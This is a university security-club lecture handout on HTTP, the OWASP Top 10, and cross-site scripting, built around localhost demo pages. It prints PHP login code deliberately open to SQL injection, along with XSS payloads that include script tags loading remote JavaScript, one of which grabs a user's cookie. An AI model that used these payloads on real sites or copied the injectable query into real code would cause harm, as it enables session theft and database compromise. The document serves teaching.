Web Technologies and Cross-Site Scripting (XSS)

February 14th, 2019

Today's Goals

- OWASP Top 10
- Understand the basics of HTTP
  - In particular, the difference between GET and POST requests
- HTML, JS, CSS, SQL, and server-side scripting
- Attacking other users using XSS

Announcements

- Engineering Expo — Tomorrow!
  - Friday and Saturday from 8 to 4

Reading Material

- The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws
  - Available through the USF library here
  - Nothing in particular, but chapter 12 "Attacking Users: Cross-Site Scripting" discusses cross-site scripting
- Natas from overthewire
  - A simple 24/7 wargame focused on web hacking
  - They don't give hints like in bandit, but I can probably help :)
- Hackthissite.org
  - A 24/7 wargames site where you can learn more about web hacking
  - I solved all of the basic missions and a few of the realistic missions, so I should be able to help on a few of those as well (it has been a while though)

OWASP Top 10

The Top 10 list for 2017 can be found at https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

Why review the top 10?

We are reviewing the top 10 to give an idea of the different types of vulnerabilities that are present in web applications. Many of these vulnerabilities are rather simple, and just require some introductory knowledge of browsers, server-side scripting languages, and familiarity with frameworks. The main issue underlying almost all web vulnerabilities is that user input cannot be trusted and, unfortunately, almost every aspect of web browsing is user input! The requests to URLs, the parameters, the order of the requests, the contents of uploaded files, etc. are all user input. Any assumption about the way a user will access a web application will likely lead to some broken authentication.

HTTP

- HTTP stands for HyperText Transfer Protocol.
- HTTP is the protocol for retrieving files from web servers.
    - Gopher is another example of a protocol for web browsing
- Why hypertext? Most files retrieved will be HyperText Markup Language (HTML) files
- HTTP requests/responses are split into two parts:
    - Header
        - The header includes additional information about the request/response, such as the encoding type, the referer, user agent, the requested URL, etc.
    - Body
        - Not all requests/responses have a body
        - The body is simply the data being sent
            - For example, a response to a GET request would have the HTML in the body
            - A post request stores the data in the body
- HTTP defines many useful status/error codes, such as 404 (unfound)
- HTTPS is simply HTTP Secure, but we won't be talking about that today
- Making custom HTTP requests:
    - Curl
    - Postman
        - Better for development purposes, but very nice
    - Python requests
    - Firefox actually allows you to edit requests in their developer tools under networking

Get Requests

- What are get requests?

- Get requests are the most commonly used method, and are used to request data from a web server
- Any information needed to be sent to the server is sent as GET parameters, which are appended to the end of the url

Example:

View the GET request and response headers from http://localhost/demo/xss.php?name=Hello

Post Requests

- What are post requests?
  - The second most common method, the post request is used to send or update data
  - POST parameters are placed in the body of the request

View the POST request and response headers from http://localhost/demo/xss_stored.php

HTML, JS, CSS, SQL, and server-side scripting

Want to learn more about these technologies? I personally learned them all through codecademy

HyperText Markup Language (HTML)

Defines the structure of websites; includes tags such as <p>, <h1>, <form>, etc.

Checkout the html for http://localhost/demo/ and http://localhost/demo/xss.php

Cascading Style Sheets (CSS)

CSS adds the flair you see to websites. Check out examples here. It is called cascading because lower elements take precedence over higher elements.

Javascript (JS)

A client side scripting language, JS adds the dynamic content you see on websites. For example, clicking a button and having the site expand or contract. Check out some examples here

Structured Query Language (SQL)

The language used to access data in databases. We talked about this in more detail last week in our SQL Injection talk.

Server-side scripting

Server-side scripting refers to pre-processing done by the server before sending the html or file to the browser. This can be done in a variety of languages, including PHP, Python, Javascript, C#, etc.

Common activities done by server-side scripting include authentication, retrieving or updating data from databases using SQL, or uploading files.

Check out the php in http://localhost/demo/sql.php.

```
<!DOCTYPE html>

<?php
	$servername = "localhost";
	$username = "demo";
	$password = "demo";
	$dbname = "demo";
	mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

	// Create connection
	$conn = new mysqli($servername, $username, $password, $dbname);

	// Check connection
	if ($conn->connect_error) {
		die("Connection failed: " . $conn->connect_error);
	}

	$query = "";
	$result = "";
	if(isset($_GET['user']) && !empty($_GET['user']))
	{
		$pass = '';
		if(isset($_GET['pass']) && !empty($_GET['pass']))
		{
			$pass = $_GET['pass'];
```

```
            }
            $query = "SELECT * FROM Users2 WHERE User = '" . $_GET['user'];
            $query .= "' AND Password = '" . $pass . "'";
            try{
                  $result = $conn->query($query);
            } catch (Exception $e) {
                  echo 'Caught exception: ',  $e->getMessage(), "\n";
            }

      }
      $conn->close();
?>

<html lang="en">
      <body>
            <?php
                  if ($result != '' && $result->num_rows > 0) {
                        // output data of each row
                        $row = $result->fetch_assoc();
                        echo "<h1>Logged in as: " . $row['User'] . "</h1>";
                        echo $row['Password'];
                  } else if($result != '' && isset($_GET['user']) &&
!empty($_GET['user']))
                  {
                        echo '<h1>Failed login</h1>';
                  }
            ?>
            <form action="sql.php" method="GET">
                  <label>Username: <input type="text"
name="user"/></label><br/>
                  <label>Password: <input type="text" name="pass"/></label>
                  <input type="submit"/>
            </form>
            <?php if($query != ""): ?>
                  <h1> This is the query that was ran: </h1>
                  <p><?php echo $query;?>!</p>
            <?php endif;?>
      </body>
</html>
```

Frameworks

Web frameworks provide developers with useful abstractions for developing websites. Common functionalities include logging, authentication, routing, and accessing databases. Some examples:

- PHP
  - Codeigniter
  - Laravel
- Python
  - Django
  - Flask
- Javascript
  - React.js
  - Angular.js

Why learn about frameworks for security? Vulnerabilities in a framework mean many different web applications will be vulnerable to the same exploit.

Cross-Site Scripting (XSS)

What is XSS?

XSS occurs when an attacker injects html (in particular, the script tag) into a website which then includes the injected html as part of the output. We discussed how it works in last weeks talk.

Attacking Other Users

XSS can be used to attack other users. If the injected script tag is stored and sent to other users, an attacker can include malicious scripts that retrieve user information, such as cookies.

Stored Data

Check out http://localhost/demo/xss_stored.php

This simple website stores a name and comment in the database, and prints them on a message board. The site does not correctly parse the output, so XSS is possible.

- Inject <h1> Hey there</h1>
- Next, <script>alert(“Hacked”)</script>
- Next, <script src="http://myweb.usf.edu/~kevindennis/wcsc/xss.js" type="text/javascript"></script>
  - Note that this is downloading a malicious script from my web server

Grabbing User Data

The website also allows the user to set a “secret” cookie.

- Show how the cookie is set
    - Pull up in firefox under development tools > storage > cookies
- Next, <script src="http://myweb.usf.edu/~kevindennis/wcsc/xss2.js" type="text/javascript"></script>
    - This bit of javascript retrieves the users secret cookie, then posts it to the message board
    - Instead of sending it to the message board, I could send it to an external site!